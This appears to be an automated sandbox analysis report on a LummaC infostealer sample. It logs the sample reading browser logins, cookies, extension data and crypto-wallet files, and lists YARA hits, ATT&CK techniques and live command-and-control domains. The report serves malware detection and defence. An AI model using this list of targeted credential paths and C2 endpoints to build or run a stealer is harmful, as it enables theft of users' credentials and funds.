Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior

Source: Yara match	File source: 00000005.00000003.2397981986.0000000002E93000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2389056869.0000000002E93000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2483917008.0000000002EAF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2532039828.0000000002EAF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2483286988.0000000002EAE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2531513795.0000000002EAE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 7060, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 7060, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	1 Masquerading	1 OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	311 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	31 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Deobfuscate/Decode Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	34%	ReversingLabs	Win64.Dropper.WinGGo
file.exe	38%	Virustotal		Browse

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
shatterbreathepsw.shop	17%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
tolerateilusidjukl.shop	0%	Avira URL Cloud	safe
http://html4/loose.dtd	0%	Avira URL Cloud	safe
https://shatterbreathepsw.shop:443/api-release/key4.dbPK	0%	Avira URL Cloud	safe
shortsvelventysjo.shop	0%	Avira URL Cloud	safe
https://management.azure.comINVALID	0%	Avira URL Cloud	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://shatterbreathepsw.shop:443/api	100%	Avira URL Cloud	malware
https://shatterbreathepsw.shop/w6	0%	Avira URL Cloud	safe
https://shatterbreathepsw.shop/apii	0%	Avira URL Cloud	safe
https://shatterbreathepsw.shop:443/apirosoft	0%	Avira URL Cloud	safe
shatterbreathepsw.shop	0%	Avira URL Cloud	safe
tolerateilusidjukl.shop	14%	Virustotal		Browse
shortsvelventysjo.shop	20%	Virustotal		Browse
http://.css	0%	Avira URL Cloud	safe
https://shatterbreathepsw.shop/0	0%	Avira URL Cloud	safe
https://shatterbreathepsw.shop/apiar	0%	Avira URL Cloud	safe
https://shatterbreathepsw.shop/apihort	0%	Avira URL Cloud	safe
https://shatterbreathepsw.shop:443/api	20%	Virustotal		Browse
shatterbreathepsw.shop	17%	Virustotal		Browse
demonstationfukewko.shop	0%	Avira URL Cloud	safe
productivelookewr.shop	0%	Avira URL Cloud	safe
https://shatterbreathepsw.shop/&6	0%	Avira URL Cloud	safe
https://manage.windowsazure.us/publishsettings/indexMaximum	0%	Avira URL Cloud	safe
demonstationfukewko.shop	21%	Virustotal		Browse
https://management.chinacloudapi.cntoo	0%	Avira URL Cloud	safe
https://shatterbreathepsw.shop/0	15%	Virustotal		Browse
https://shatterbreathepsw.shop/apiT	0%	Avira URL Cloud	safe
http://.jpg	0%	Avira URL Cloud	safe
https://www.mozilla.or	0%	Avira URL Cloud	safe
alcojoldwograpciw.shop	0%	Avira URL Cloud	safe
incredibleextedwj.shop	0%	Avira URL Cloud	safe
https://shatterbreathepsw.shop/D7	0%	Avira URL Cloud	safe
https://manage.windowsazure.us/publishsettings/indexMaximum	0%	Virustotal		Browse
https://shatterbreathepsw.shop/apiT	16%	Virustotal		Browse
https://shatterbreathepsw.shop/?6a	0%	Avira URL Cloud	safe
liabilitynighstjsko.shop	0%	Avira URL Cloud	safe
productivelookewr.shop	16%	Virustotal		Browse
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
https://shatterbreathepsw.shop/~6	0%	Avira URL Cloud	safe
incredibleextedwj.shop	14%	Virustotal		Browse
liabilitynighstjsko.shop	17%	Virustotal		Browse
https://shatterbreathepsw.shop/y7	0%	Avira URL Cloud	safe
alcojoldwograpciw.shop	21%	Virustotal		Browse
http://ocsp.rootca1.amazontrust.com0:	0%	Avira URL Cloud	safe
https://shatterbreathepsw.shop/	0%	Avira URL Cloud	safe
https://shatterbreathepsw.shop/apizen	0%	Avira URL Cloud	safe
https://protobuf.dev/reference/go/faq#namespace-conflictLZMA	0%	Avira URL Cloud	safe
https://shatterbreathepsw.shop/api	100%	Avira URL Cloud	malware
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	0%	Avira URL Cloud	safe
https://shatterbreathepsw.shop/	1%	Virustotal		Browse
https://manage.chinacloudapi.com/publishsettings/indexhttps://manage.microsoftazure.de/publishsettin	0%	Avira URL Cloud	safe
https://shatterbreathepsw.shop/api	20%	Virustotal		Browse
https://protobuf.dev/reference/go/faq#namespace-conflictLZMA	0%	Virustotal		Browse
https://manage.chinacloudapi.com/publishsettings/indexhttps://manage.microsoftazure.de/publishsettin	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
shatterbreathepsw.shop	104.21.95.19	true	true	17%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
shortsvelventysjo.shop	true	20%, Virustotal, Browse Avira URL Cloud: safe	unknown
tolerateilusidjukl.shop	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
shatterbreathepsw.shop	true	17%, Virustotal, Browse Avira URL Cloud: safe	unknown
demonstationfukewko.shop	true	21%, Virustotal, Browse Avira URL Cloud: safe	unknown
productivelookewr.shop	true	16%, Virustotal, Browse Avira URL Cloud: safe	unknown
alcojoldwograpciw.shop	true	21%, Virustotal, Browse Avira URL Cloud: safe	unknown
incredibleextedwj.shop	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
liabilitynighstjsko.shop	true	17%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://shatterbreathepsw.shop/api	true	20%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://management.azure.comINVALID	file.exe	false	Avira URL Cloud: safe	unknown
http://html4/loose.dtd	file.exe	false	Avira URL Cloud: safe	low
https://duckduckgo.com/chrome_newtab	BitLockerToGo.exe, 00000005.00000003.2389832770.0000000002F4B000.00000004.00000020.00020000.00000000.sdmp	false		high
